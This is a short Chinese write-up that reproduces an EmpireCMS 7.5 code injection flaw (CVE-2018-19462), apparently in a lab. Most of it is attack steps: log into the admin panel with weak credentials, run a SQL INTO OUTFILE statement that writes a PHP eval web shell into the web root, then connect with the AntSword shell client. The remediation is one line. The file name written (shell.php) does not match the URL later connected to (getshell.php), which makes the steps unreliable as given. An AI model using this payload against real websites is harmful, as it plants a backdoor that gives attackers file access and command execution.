帝国CMS代码注入(CVE-2018-19462)

漏洞描述：

EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

复现过程：

1.访问http://ip:port，出现如下页面，开始实验

2.访问管理员登录界面

http://ip:port/empirecms/e/admin/

3.使用账号密码登录

账号：admin

密码：123456

4.点击系统，备份与恢复数据，执行SQL语句

5.输入以下poyload，并执行SQL语句

select '<?php @eval($_POST[1])?>' into outfile '../../../var/www/html/empirecms/shell.php'

6.蚁剑连接

http://ip:port/empirecms/e/admin/getshell.php

借此漏洞攻击者获取到网站的shell权限，控制整个网站，可以进行文件读取和命令执行。

修复建议：

1.升级版本。